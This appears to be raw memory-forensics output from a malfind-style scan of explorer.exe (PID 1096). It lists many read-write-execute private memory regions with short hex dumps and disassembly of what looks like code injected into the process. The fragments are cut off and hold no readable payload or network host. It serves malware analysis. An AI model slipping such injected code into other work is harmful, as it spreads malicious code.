0x19c0032 eb05 JMP 0x19c0039
0x19c0034 68cee73a59 PUSH DWORD 0x593ae7ce
0x19c0039 ffb6bb0a0000 PUSH DWORD [ESI+0xabb]
0x19c003f ff DB 0xff
Process: explorer.exe Pid: 1096 Address: 0x19b0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x019b0000 55 8b ec 81 c4 20 ef ff ff 56 53 57 52 51 c7 85 U........VSWRQ..
0x019b0010 24 ef ff ff 00 00 00 00 8b 75 08 68 74 0f 00 00 $........u.ht...
0x019b0020 56 8d bd 8c f0 ff ff 57 ff 96 a9 00 00 00 c7 87 V......W........
0x019b0030 b4 08 00 00 00 00 00 00 8d 85 30 ef ff ff 50 6a ..........0...Pj
0x19b0000 55 PUSH EBP
0x19b0001 8bec MOV EBP, ESP
0x19b0003 81c420efffff ADD ESP, 0xffffef20
0x19b0009 56 PUSH ESI
0x19b000a 53 PUSH EBX
0x19b000b 57 PUSH EDI
0x19b000c 52 PUSH EDX
0x19b000d 51 PUSH ECX
0x19b000e c78524efffff00000000 MOV DWORD [EBP+0xffffef24], 0x0
0x19b0018 8b7508 MOV ESI, [EBP+0x8]
0x19b001b 68740f0000 PUSH DWORD 0xf74
0x19b0020 56 PUSH ESI
0x19b0021 8dbd8cf0ffff LEA EDI, [EBP+0xfffff08c]
0x19b0027 57 PUSH EDI
0x19b0028 ff96a9000000 CALL DWORD [ESI+0xa9]
0x19b002e c787b408000000000000 MOV DWORD [EDI+0x8b4], 0x0
0x19b0038 8d8530efffff LEA EAX, [EBP+0xffffef30]
0x19b003e 50 PUSH EAX
0x19b003f 6a DB 0x6a
Process: explorer.exe Pid: 1096 Address: 0x19d0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x019d0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x019d0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x019d0020 00 e1 9a 80 7c 74 9b 80 7c c7 06 81 7c 6b 23 80 ....|t..|...|k#.
0x019d0030 7c 17 6c dd 77 42 78 dd 77 ab 7a dd 77 d7 ea dd |.l.wBx.w.z.w...
0x19d0000 0000 ADD [EAX], AL
0x19d0002 0000 ADD [EAX], AL
0x19d0004 0000 ADD [EAX], AL
0x19d0006 0000 ADD [EAX], AL
0x19d0008 0000 ADD [EAX], AL
0x19d000a 0000 ADD [EAX], AL
0x19d000c 0000 ADD [EAX], AL
0x19d000e 0000 ADD [EAX], AL
0x19d0010 0000 ADD [EAX], AL
0x19d0012 0000 ADD [EAX], AL
0x19d0014 0000 ADD [EAX], AL
0x19d0016 0000 ADD [EAX], AL
0x19d0018 0000 ADD [EAX], AL
0x19d001a 0000 ADD [EAX], AL
0x19d001c 0000 ADD [EAX], AL
0x19d001e 0000 ADD [EAX], AL
0x19d0020 00e1 ADD CL, AH
0x19d0022 9a807c749b807c CALL FAR 0x7c80:0x9b747c80
0x19d0029 c706817c6b23 MOV DWORD [ESI], 0x236b7c81
0x19d002f 807c176cdd CMP BYTE [EDI+EDX+0x6c], 0xdd
0x19d0034 7742 JA 0x19d0078
0x19d0036 78dd JS 0x19d0015
0x19d0038 77ab JA 0x19cffe5
0x19d003a 7add JP 0x19d0019
0x19d003c 77d7 JA 0x19d0015
0x19d003e ea DB 0xea
0x19d003f dd DB 0xdd
Process: explorer.exe Pid: 1096 Address: 0x1a20000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01a20000 00 00 00 00 00 00 00 00 00 00 c4 01 00 00 cb 01 ................
0x01a20010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01a20020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01a20030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x1a20000 0000 ADD [EAX], AL
0x1a20002 0000 ADD [EAX], AL
0x1a20004 0000 ADD [EAX], AL
0x1a20006 0000 ADD [EAX], AL
0x1a20008 0000 ADD [EAX], AL
0x1a2000a c401 LES EAX, [ECX]
0x1a2000c 0000 ADD [EAX], AL
0x1a2000e cb RETF
0x1a2000f 0100 ADD [EAX], EAX
0x1a20011 0000 ADD [EAX], AL
0x1a20013 0000 ADD [EAX], AL
0x1a20015 0000 ADD [EAX], AL
0x1a20017 0000 ADD [EAX], AL
0x1a20019 0000 ADD [EAX], AL
0x1a2001b 0000 ADD [EAX], AL
0x1a2001d 0000 ADD [EAX], AL
0x1a2001f 0000 ADD [EAX], AL
0x1a20021 0000 ADD [EAX], AL
0x1a20023 0000 ADD [EAX], AL
0x1a20025 0000 ADD [EAX], AL
0x1a20027 0000 ADD [EAX], AL
0x1a20029 0000 ADD [EAX], AL
0x1a2002b 0000 ADD [EAX], AL
0x1a2002d 0000 ADD [EAX], AL
0x1a2002f 0000 ADD [EAX], AL
0x1a20031 0000 ADD [EAX], AL
0x1a20033 0000 ADD [EAX], AL
0x1a20035 0000 ADD [EAX], AL
0x1a20037 0000 ADD [EAX], AL
0x1a20039 0000 ADD [EAX], AL
0x1a2003b 0000 ADD [EAX], AL
0x1a2003d 0000 ADD [EAX], AL
0x1a2003f 00 DB 0x0
Process: explorer.exe Pid: 1096 Address: 0x1a30000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01a30000 55 8b ec 83 c4 c8 53 56 57 8b 5d 08 8b 73 08 33 U.....SVW.]..s.3
0x01a30010 c0 89 45 f0 c6 45 e3 00 80 be b8 08 00 00 00 0f ..E..E..........
0x01a30020 84 b2 00 00 00 c6 86 b8 08 00 00 00 8b 86 b4 08 ................
0x01a30030 00 00 33 d2 89 50 38 6a 01 8b 03 03 45 f0 50 8d ..3..P8j....E.P.
0x1a30000 55 PUSH EBP
0x1a30001 8bec MOV EBP, ESP
0x1a30003 83c4c8 ADD ESP, -0x38
0x1a30006 53 PUSH EBX
0x1a30007 56 PUSH ESI
0x1a30008 57 PUSH EDI
0x1a30009 8b5d08 MOV EBX, [EBP+0x8]
0x1a3000c 8b7308 MOV ESI, [EBX+0x8]
0x1a3000f 33c0 XOR EAX, EAX
0x1a30011 8945f0 MOV [EBP+0xfffffff0], EAX
0x1a30014 c645e300 MOV BYTE [EBP+0xffffffe3], 0x0
0x1a30018 80beb808000000 CMP BYTE [ESI+0x8b8], 0x0
0x1a3001f 0f84b2000000 JZ 0x1a300d7
0x1a30025 c686b808000000 MOV BYTE [ESI+0x8b8], 0x0
0x1a3002c 8b86b4080000 MOV EAX, [ESI+0x8b4]
0x1a30032 33d2 XOR EDX, EDX
0x1a30034 895038 MOV [EAX+0x38], EDX
0x1a30037 6a01 PUSH 0x1
0x1a30039 8b03 MOV EAX, [EBX]
0x1a3003b 0345f0 ADD EAX, [EBP+0xfffffff0]
0x1a3003e 50 PUSH EAX
0x1a3003f 8d DB 0x8d
Process: explorer.exe Pid: 1096 Address: 0x1c40000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01c40000 55 8b ec 83 c4 cc 53 56 57 89 4d dc 89 55 e0 33 U.....SVW.M..U.3
0x01c40010 d2 8b f8 8b 87 b4 08 00 00 8b f0 8b 40 34 89 45 ............@4.E
0x01c40020 cc 8b 45 cc 8b 80 24 03 00 00 89 45 e8 8b 45 cc ..E...$....E..E.
0x01c40030 8b 40 08 05 b0 01 00 00 89 45 e4 64 ff 35 00 00 .@.......E.d.5..
0x1c40000 55 PUSH EBP
0x1c40001 8bec MOV EBP, ESP
0x1c40003 83c4cc ADD ESP, -0x34
0x1c40006 53 PUSH EBX
0x1c40007 56 PUSH ESI
0x1c40008 57 PUSH EDI
0x1c40009 894ddc MOV [EBP+0xffffffdc], ECX
0x1c4000c 8955e0 MOV [EBP+0xffffffe0], EDX
0x1c4000f 33d2 XOR EDX, EDX
0x1c40011 8bf8 MOV EDI, EAX
0x1c40013 8b87b4080000 MOV EAX, [EDI+0x8b4]
0x1c40019 8bf0 MOV ESI, EAX
0x1c4001b 8b4034 MOV EAX, [EAX+0x34]
0x1c4001e 8945cc MOV [EBP+0xffffffcc], EAX
0x1c40021 8b45cc MOV EAX, [EBP+0xffffffcc]
0x1c40024 8b8024030000 MOV EAX, [EAX+0x324]
0x1c4002a 8945e8 MOV [EBP+0xffffffe8], EAX
0x1c4002d 8b45cc MOV EAX, [EBP+0xffffffcc]
0x1c40030 8b4008 MOV EAX, [EAX+0x8]
0x1c40033 05b0010000 ADD EAX, 0x1b0
0x1c40038 8945e4 MOV [EBP+0xffffffe4], EAX
0x1c4003b 64 DB 0x64
0x1c4003c ff DB 0xff
0x1c4003d 35 DB 0x35
0x1c4003e 0000 ADD [EAX], AL
Process: explorer.exe Pid: 1096 Address: 0x1c60000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01c60000 53 56 8b c8 8b 99 b4 08 00 00 8b 73 34 8b da 33 SV.........s4..3
0x01c60010 c9 ff 96 d4 01 00 00 33 c0 89 43 04 33 c0 89 43 .......3..C.3..C
0x01c60020 08 5e 5b c3 00 00 00 00 00 00 00 00 00 00 00 00 .^[.............
0x01c60030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x1c60000 53 PUSH EBX
0x1c60001 56 PUSH ESI
0x1c60002 8bc8 MOV ECX, EAX
0x1c60004 8b99b4080000 MOV EBX, [ECX+0x8b4]
0x1c6000a 8b7334 MOV ESI, [EBX+0x34]
0x1c6000d 8bda MOV EBX, EDX
0x1c6000f 33c9 XOR ECX, ECX
0x1c60011 ff96d4010000 CALL DWORD [ESI+0x1d4]
0x1c60017 33c0 XOR EAX, EAX
0x1c60019 894304 MOV [EBX+0x4], EAX
0x1c6001c 33c0 XOR EAX, EAX
0x1c6001e 894308 MOV [EBX+0x8], EAX
0x1c60021 5e POP ESI
0x1c60022 5b POP EBX
0x1c60023 c3 RET
0x1c60024 0000 ADD [EAX], AL
0x1c60026 0000 ADD [EAX], AL
0x1c60028 0000 ADD [EAX], AL
0x1c6002a 0000 ADD [EAX], AL
0x1c6002c 0000 ADD [EAX], AL
0x1c6002e 0000 ADD [EAX], AL
0x1c60030 0000 ADD [EAX], AL
0x1c60032 0000 ADD [EAX], AL
0x1c60034 0000 ADD [EAX], AL
0x1c60036 0000 ADD [EAX], AL
0x1c60038 0000 ADD [EAX], AL
0x1c6003a 0000 ADD [EAX], AL
0x1c6003c 0000 ADD [EAX], AL
0x1c6003e 0000 ADD [EAX], AL
Process: explorer.exe Pid: 1096 Address: 0x1c50000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01c50000 55 8b ec 83 c4 e4 53 56 57 8b 5d 10 8b 45 08 8b U.....SVW.]..E..
0x01c50010 90 b4 08 00 00 8b 72 34 8b 86 24 03 00 00 89 45 ......r4..$....E
0x01c50020 e8 8b 86 d8 01 00 00 05 e0 00 00 00 89 45 e4 64 .............E.d
0x01c50030 ff 35 00 00 00 00 8f 45 ec ff 75 e8 8f 45 f0 ff .5.....E..u..E..
0x1c50000 55 PUSH EBP
0x1c50001 8bec MOV EBP, ESP
0x1c50003 83c4e4 ADD ESP, -0x1c
0x1c50006 53 PUSH EBX
0x1c50007 56 PUSH ESI
0x1c50008 57 PUSH EDI
0x1c50009 8b5d10 MOV EBX, [EBP+0x10]
0x1c5000c 8b4508 MOV EAX, [EBP+0x8]
0x1c5000f 8b90b4080000 MOV EDX, [EAX+0x8b4]
0x1c50015 8b7234 MOV ESI, [EDX+0x34]
0x1c50018 8b8624030000 MOV EAX, [ESI+0x324]
0x1c5001e 8945e8 MOV [EBP+0xffffffe8], EAX
0x1c50021 8b86d8010000 MOV EAX, [ESI+0x1d8]
0x1c50027 05e0000000 ADD EAX, 0xe0
0x1c5002c 8945e4 MOV [EBP+0xffffffe4], EAX
0x1c5002f 64ff3500000000 PUSH DWORD [FS:0x0]
0x1c50036 8f45ec POP DWORD [EBP+0xffffffec]
0x1c50039 ff75e8 PUSH DWORD [EBP+0xffffffe8]
0x1c5003c 8f45f0 POP DWORD [EBP+0xfffffff0]
0x1c5003f ff DB 0xff
Process: explorer.exe Pid: 1096 Address: 0x1cb0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01cb0000 55 8b ec 81 c4 b0 fe ff ff 53 56 57 8b fa 89 45 U........SVW...E
0x01cb0010 d8 8b 75 d8 8b 86 b4 08 00 00 8b 58 34 8b 83 24 ..u........X4..$
0x01cb0020 03 00 00 89 45 e8 8b 43 0c 05 c9 04 00 00 89 45 ....E..C.......E
0x01cb0030 e4 64 ff 35 00 00 00 00 8f 45 ec ff 75 e8 8f 45 .d.5.....E..u..E
0x1cb0000 55 PUSH EBP
0x1cb0001 8bec MOV EBP, ESP
0x1cb0003 81c4b0feffff ADD ESP, 0xfffffeb0
0x1cb0009 53 PUSH EBX
0x1cb000a 56 PUSH ESI
0x1cb000b 57 PUSH EDI
0x1cb000c 8bfa MOV EDI, EDX
0x1cb000e 8945d8 MOV [EBP+0xffffffd8], EAX
0x1cb0011 8b75d8 MOV ESI, [EBP+0xffffffd8]
0x1cb0014 8b86b4080000 MOV EAX, [ESI+0x8b4]
0x1cb001a 8b5834 MOV EBX, [EAX+0x34]
0x1cb001d 8b8324030000 MOV EAX, [EBX+0x324]
0x1cb0023 8945e8 MOV [EBP+0xffffffe8], EAX
0x1cb0026 8b430c MOV EAX, [EBX+0xc]
0x1cb0029 05c9040000 ADD EAX, 0x4c9
0x1cb002e 8945e4 MOV [EBP+0xffffffe4], EAX
0x1cb0031 64ff3500000000 PUSH DWORD [FS:0x0]
0x1cb0038 8f45ec POP DWORD [EBP+0xffffffec]
0x1cb003b ff75e8 PUSH DWORD [EBP+0xffffffe8]
0x1cb003e 8f DB 0x8f
0x1cb003f 45 INC EBP
Process: explorer.exe Pid: 1096 Address: 0x1c90000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01c90000 55 8b ec 83 c4 e4 53 56 57 8b 7d 14 8b 55 08 8b U.....SVW.}..U..
0x01c90010 82 b4 08 00 00 8b 40 34 8b 88 24 03 00 00 89 4d ......@4..$....M
0x01c90020 e8 8b 80 d0 01 00 00 05 88 00 00 00 89 45 e4 64 .............E.d
0x01c90030 ff 35 00 00 00 00 8f 45 ec ff 75 e8 8f 45 f0 ff .5.....E..u..E..
0x1c90000 55 PUSH EBP
0x1c90001 8bec MOV EBP, ESP
0x1c90003 83c4e4 ADD ESP, -0x1c
0x1c90006 53 PUSH EBX
0x1c90007 56 PUSH ESI
0x1c90008 57 PUSH EDI
0x1c90009 8b7d14 MOV EDI, [EBP+0x14]
0x1c9000c 8b5508 MOV EDX, [EBP+0x8]
0x1c9000f 8b82b4080000 MOV EAX, [EDX+0x8b4]
0x1c90015 8b4034 MOV EAX, [EAX+0x34]
0x1c90018 8b8824030000 MOV ECX, [EAX+0x324]
0x1c9001e 894de8 MOV [EBP+0xffffffe8], ECX
0x1c90021 8b80d0010000 MOV EAX, [EAX+0x1d0]
0x1c90027 0588000000 ADD EAX, 0x88
0x1c9002c 8945e4 MOV [EBP+0xffffffe4], EAX
0x1c9002f 64ff3500000000 PUSH DWORD [FS:0x0]
0x1c90036 8f45ec POP DWORD [EBP+0xffffffec]
0x1c90039 ff75e8 PUSH DWORD [EBP+0xffffffe8]
0x1c9003c 8f45f0 POP DWORD [EBP+0xfffffff0]
0x1c9003f ff DB 0xff
Process: explorer.exe Pid: 1096 Address: 0x1c80000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01c80000 55 8b ec 51 53 56 57 8b 7d 0c 8b 55 08 8b f2 8b U..QSVW.}..U....
0x01c80010 86 b4 08 00 00 8b 40 34 8b df 83 7b 08 00 7c 56 ......@4...{..|V
0x01c80020 83 7d 14 00 7c 50 8b 4b 08 03 4d 14 89 4d fc 83 .}..|P.K..M..M..
0x01c80030 7d fc 00 7e 41 8b 4d fc 3b 4b 04 7e 1a 8b 4d fc }..~A.M.;K.~..M.
0x1c80000 55 PUSH EBP
0x1c80001 8bec MOV EBP, ESP
0x1c80003 51 PUSH ECX
0x1c80004 53 PUSH EBX
0x1c80005 56 PUSH ESI
0x1c80006 57 PUSH EDI
0x1c80007 8b7d0c MOV EDI, [EBP+0xc]
0x1c8000a 8b5508 MOV EDX, [EBP+0x8]
0x1c8000d 8bf2 MOV ESI, EDX
0x1c8000f 8b86b4080000 MOV EAX, [ESI+0x8b4]
0x1c80015 8b4034 MOV EAX, [EAX+0x34]
0x1c80018 8bdf MOV EBX, EDI
0x1c8001a 837b0800 CMP DWORD [EBX+0x8], 0x0
0x1c8001e 7c56 JL 0x1c80076
0x1c80020 837d1400 CMP DWORD [EBP+0x14], 0x0
0x1c80024 7c50 JL 0x1c80076
0x1c80026 8b4b08 MOV ECX, [EBX+0x8]
0x1c80029 034d14 ADD ECX, [EBP+0x14]
0x1c8002c 894dfc MOV [EBP+0xfffffffc], ECX
0x1c8002f 837dfc00 CMP DWORD [EBP+0xfffffffc], 0x0
0x1c80033 7e41 JLE 0x1c80076
0x1c80035 8b4dfc MOV ECX, [EBP+0xfffffffc]
0x1c80038 3b4b04 CMP ECX, [EBX+0x4]
0x1c8003b 7e1a JLE 0x1c80057
0x1c8003d 8b4dfc MOV ECX, [EBP+0xfffffffc]
Process: explorer.exe Pid: 1096 Address: 0x1ca0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01ca0000 53 56 57 55 51 89 0c 24 8b fa 8b f0 8b c6 8b 90 SVWUQ..$........
0x01ca0010 b4 08 00 00 8b 6a 34 8b df 54 57 56 ff 95 d8 01 .....j4..TWV....
0x01ca0020 00 00 89 03 8b 04 24 89 43 0c 5a 5d 5f 5e 5b c3 ......$.C.Z]_^[.
0x01ca0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x1ca0000 53 PUSH EBX
0x1ca0001 56 PUSH ESI
0x1ca0002 57 PUSH EDI
0x1ca0003 55 PUSH EBP
0x1ca0004 51 PUSH ECX
0x1ca0005 890c24 MOV [ESP], ECX
0x1ca0008 8bfa MOV EDI, EDX
0x1ca000a 8bf0 MOV ESI, EAX
0x1ca000c 8bc6 MOV EAX, ESI
0x1ca000e 8b90b4080000 MOV EDX, [EAX+0x8b4]
0x1ca0014 8b6a34 MOV EBP, [EDX+0x34]
0x1ca0017 8bdf MOV EBX, EDI
0x1ca0019 54 PUSH ESP
0x1ca001a 57 PUSH EDI
0x1ca001b 56 PUSH ESI
0x1ca001c ff95d8010000 CALL DWORD [EBP+0x1d8]
0x1ca0022 8903 MOV [EBX], EAX
0x1ca0024 8b0424 MOV EAX, [ESP]
0x1ca0027 89430c MOV [EBX+0xc], EAX
0x1ca002a 5a POP EDX
0x1ca002b 5d POP EBP
0x1ca002c 5f POP EDI
0x1ca002d 5e POP ESI
0x1ca002e 5b POP EBX
0x1ca002f c3 RET
0x1ca0030 0000 ADD [EAX], AL
0x1ca0032 0000 ADD [EAX], AL
0x1ca0034 0000 ADD [EAX], AL
0x1ca0036 0000 ADD [EAX], AL
0x1ca0038 0000 ADD [EAX], AL
0x1ca003a 0000 ADD [EAX], AL
0x1ca003c 0000 ADD [EAX], AL
0x1ca003e 0000 ADD [EAX], AL
Process: explorer.exe Pid: 1096 Address: 0x1ce0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01ce0000 53 56 57 55 51 8b e9 8b fa 8b f0 8b c6 8b 90 b4 SVWUQ...........
0x01ce0010 08 00 00 8b 5a 34 55 ff 53 70 88 04 24 6a 01 8d ....Z4U.Sp..$j..
0x01ce0020 44 24 04 50 57 56 ff 93 cc 01 00 00 33 c0 8a 04 D$.PWV......3...
0x01ce0030 24 50 55 57 56 ff 93 cc 01 00 00 5a 5d 5f 5e 5b $PUWV......Z]_^[
0x1ce0000 53 PUSH EBX
0x1ce0001 56 PUSH ESI
0x1ce0002 57 PUSH EDI
0x1ce0003 55 PUSH EBP
0x1ce0004 51 PUSH ECX
0x1ce0005 8be9 MOV EBP, ECX
0x1ce0007 8bfa MOV EDI, EDX
0x1ce0009 8bf0 MOV ESI, EAX
0x1ce000b 8bc6 MOV EAX, ESI
0x1ce000d 8b90b4080000 MOV EDX, [EAX+0x8b4]
0x1ce0013 8b5a34 MOV EBX, [EDX+0x34]
0x1ce0016 55 PUSH EBP
0x1ce0017 ff5370 CALL DWORD [EBX+0x70]
0x1ce001a 880424 MOV [ESP], AL
0x1ce001d 6a01 PUSH 0x1
0x1ce001f 8d442404 LEA EAX, [ESP+0x4]
0x1ce0023 50 PUSH EAX
0x1ce0024 57 PUSH EDI
0x1ce0025 56 PUSH ESI
0x1ce0026 ff93cc010000 CALL DWORD [EBX+0x1cc]
0x1ce002c 33c0 XOR EAX, EAX
0x1ce002e 8a0424 MOV AL, [ESP]
0x1ce0031 50 PUSH EAX
0x1ce0032 55 PUSH EBP
0x1ce0033 57 PUSH EDI
0x1ce0034 56 PUSH ESI
0x1ce0035 ff93cc010000 CALL DWORD [EBX+0x1cc]
0x1ce003b 5a POP EDX
0x1ce003c 5d POP EBP
0x1ce003d 5f POP EDI
0x1ce003e 5e POP ESI
0x1ce003f 5b POP EBX
Process: explorer.exe Pid: 1096 Address: 0x1cd0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01cd0000 55 8b ec 83 c4 a4 53 56 57 89 55 dc 89 45 e0 8b U.....SVW.U..E..
0x01cd0010 45 e0 8b 90 b4 08 00 00 8b 5a 34 8b 83 24 03 00 E........Z4..$..
0x01cd0020 00 89 45 e8 8b 83 54 04 00 00 05 41 01 00 00 89 ..E...T....A....
0x01cd0030 45 e4 64 ff 35 00 00 00 00 8f 45 ec ff 75 e8 8f E.d.5.....E..u..
0x1cd0000 55 PUSH EBP
0x1cd0001 8bec MOV EBP, ESP
0x1cd0003 83c4a4 ADD ESP, -0x5c
0x1cd0006 53 PUSH EBX
0x1cd0007 56 PUSH ESI
0x1cd0008 57 PUSH EDI
0x1cd0009 8955dc MOV [EBP+0xffffffdc], EDX
0x1cd000c 8945e0 MOV [EBP+0xffffffe0], EAX
0x1cd000f 8b45e0 MOV EAX, [EBP+0xffffffe0]
0x1cd0012 8b90b4080000 MOV EDX, [EAX+0x8b4]
0x1cd0018 8b5a34 MOV EBX, [EDX+0x34]
0x1cd001b 8b8324030000 MOV EAX, [EBX+0x324]
0x1cd0021 8945e8 MOV [EBP+0xffffffe8], EAX
0x1cd0024 8b8354040000 MOV EAX, [EBX+0x454]
0x1cd002a 0541010000 ADD EAX, 0x141
0x1cd002f 8945e4 MOV [EBP+0xffffffe4], EAX
0x1cd0032 64ff3500000000 PUSH DWORD [FS:0x0]
0x1cd0039 8f45ec POP DWORD [EBP+0xffffffec]
0x1cd003c ff75e8 PUSH DWORD [EBP+0xffffffe8]
0x1cd003f 8f DB 0x8f
Process: explorer.exe Pid: 1096 Address: 0x1cc0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01cc0000 55 8b ec 83 c4 80 53 56 57 89 4d d8 89 55 dc 89 U.....SVW.M..U..
0x01cc0010 45 e0 8b 5d 08 8b 45 e0 89 45 c0 8b 45 c0 8b 80 E..]..E..E..E...
0x01cc0020 b4 08 00 00 89 45 bc 8b 70 34 8b 86 24 03 00 00 .....E..p4..$...
0x01cc0030 89 45 e8 8b 46 58 05 6e 03 00 00 89 45 e4 64 ff .E..FX.n....E.d.
0x1cc0000 55 PUSH EBP
0x1cc0001 8bec MOV EBP, ESP
0x1cc0003 83c480 ADD ESP, -0x80
0x1cc0006 53 PUSH EBX
0x1cc0007 56 PUSH ESI
0x1cc0008 57 PUSH EDI
0x1cc0009 894dd8 MOV [EBP+0xffffffd8], ECX
0x1cc000c 8955dc MOV [EBP+0xffffffdc], EDX
0x1cc000f 8945e0 MOV [EBP+0xffffffe0], EAX
0x1cc0012 8b5d08 MOV EBX, [EBP+0x8]
0x1cc0015 8b45e0 MOV EAX, [EBP+0xffffffe0]
0x1cc0018 8945c0 MOV [EBP+0xffffffc0], EAX
0x1cc001b 8b45c0 MOV EAX, [EBP+0xffffffc0]
0x1cc001e 8b80b4080000 MOV EAX, [EAX+0x8b4]
0x1cc0024 8945bc MOV [EBP+0xffffffbc], EAX
0x1cc0027 8b7034 MOV ESI, [EAX+0x34]
0x1cc002a 8b8624030000 MOV EAX, [ESI+0x324]
0x1cc0030 8945e8 MOV [EBP+0xffffffe8], EAX
0x1cc0033 8b4658 MOV EAX, [ESI+0x58]
0x1cc0036 056e030000 ADD EAX, 0x36e
0x1cc003b 8945e4 MOV [EBP+0xffffffe4], EAX
0x1cc003e 64 DB 0x64
0x1cc003f ff DB 0xff
Process: explorer.exe Pid: 1096 Address: 0x1d00000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01d00000 55 8b ec 83 c4 d0 53 56 57 be 39 05 00 00 8b c6 U.....SVW.9.....
0x01d00010 8b 90 b4 08 00 00 8b 5a 34 8b 83 24 03 00 00 89 .......Z4..$....
0x01d00020 45 e8 8b 83 ec 03 00 00 05 cd 00 00 00 89 45 e4 E.............E.
0x01d00030 64 ff 35 00 00 00 00 8f 45 ec ff 75 e8 8f 45 f0 d.5.....E..u..E.
0x1d00000 55 PUSH EBP
0x1d00001 8bec MOV EBP, ESP
0x1d00003 83c4d0 ADD ESP, -0x30
0x1d00006 53 PUSH EBX
0x1d00007 56 PUSH ESI
0x1d00008 57 PUSH EDI
0x1d00009 be39050000 MOV ESI, 0x539
0x1d0000e 8bc6 MOV EAX, ESI
0x1d00010 8b90b4080000 MOV EDX, [EAX+0x8b4]
0x1d00016 8b5a34 MOV EBX, [EDX+0x34]
0x1d00019 8b8324030000 MOV EAX, [EBX+0x324]
0x1d0001f 8945e8 MOV [EBP+0xffffffe8], EAX
0x1d00022 8b83ec030000 MOV EAX, [EBX+0x3ec]
0x1d00028 05cd000000 ADD EAX, 0xcd
0x1d0002d 8945e4 MOV [EBP+0xffffffe4], EAX
0x1d00030 64ff3500000000 PUSH DWORD [FS:0x0]
0x1d00037 8f45ec POP DWORD [EBP+0xffffffec]
0x1d0003a ff75e8 PUSH DWORD [EBP+0xffffffe8]
0x1d0003d 8f45f0 POP DWORD [EBP+0xfffffff0]
Process: explorer.exe Pid: 1096 Address: 0x1cf0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01cf0000 55 8b ec 8b 55 10 8b 45 0c 8b 48 08 89 8a b8 00 U...U..E..H.....
0x01cf0010 00 00 8b 48 0c 89 8a c4 00 00 00 8b 40 10 89 82 ...H........@...
0x01cf0020 b4 00 00 00 33 c0 5d c2 10 00 8b c0 55 8b ec 83 ....3.].....U...
0x01cf0030 c4 e4 53 56 57 8b 5d 10 8b 45 08 8b 90 b4 08 00 ..SVW.]..E......
0x1cf0000 55 PUSH EBP
0x1cf0001 8bec MOV EBP, ESP
0x1cf0003 8b5510 MOV EDX, [EBP+0x10]
0x1cf0006 8b450c MOV EAX, [EBP+0xc]
0x1cf0009 8b4808 MOV ECX, [EAX+0x8]
0x1cf000c 898ab8000000 MOV [EDX+0xb8], ECX
0x1cf0012 8b480c MOV ECX, [EAX+0xc]
0x1cf0015 898ac4000000 MOV [EDX+0xc4], ECX
0x1cf001b 8b4010 MOV EAX, [EAX+0x10]
0x1cf001e 8982b4000000 MOV [EDX+0xb4], EAX
0x1cf0024 33c0 XOR EAX, EAX
0x1cf0026 5d POP EBP
0x1cf0027 c21000 RET 0x10
0x1cf002a 8bc0 MOV EAX, EAX
0x1cf002c 55 PUSH EBP
0x1cf002d 8bec MOV EBP, ESP
0x1cf002f 83c4e4 ADD ESP, -0x1c
0x1cf0032 53 PUSH EBX
0x1cf0033 56 PUSH ESI
0x1cf0034 57 PUSH EDI
0x1cf0035 8b5d10 MOV EBX, [EBP+0x10]
0x1cf0038 8b4508 MOV EAX, [EBP+0x8]
0x1cf003b 8b DB 0x8b
0x1cf003c 90 NOP
0x1cf003d b408 MOV AH, 0x8
0x1cf003f 00 DB 0x0
Process: explorer.exe Pid: 1096 Address: 0x1d10000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01d10000 55 8b ec 81 c4 d0 fe ff ff 53 56 57 89 55 e0 8b U........SVW.U..
0x01d10010 d8 8b f3 8b 86 b4 08 00 00 89 45 d8 8b 78 34 8b ..........E..x4.
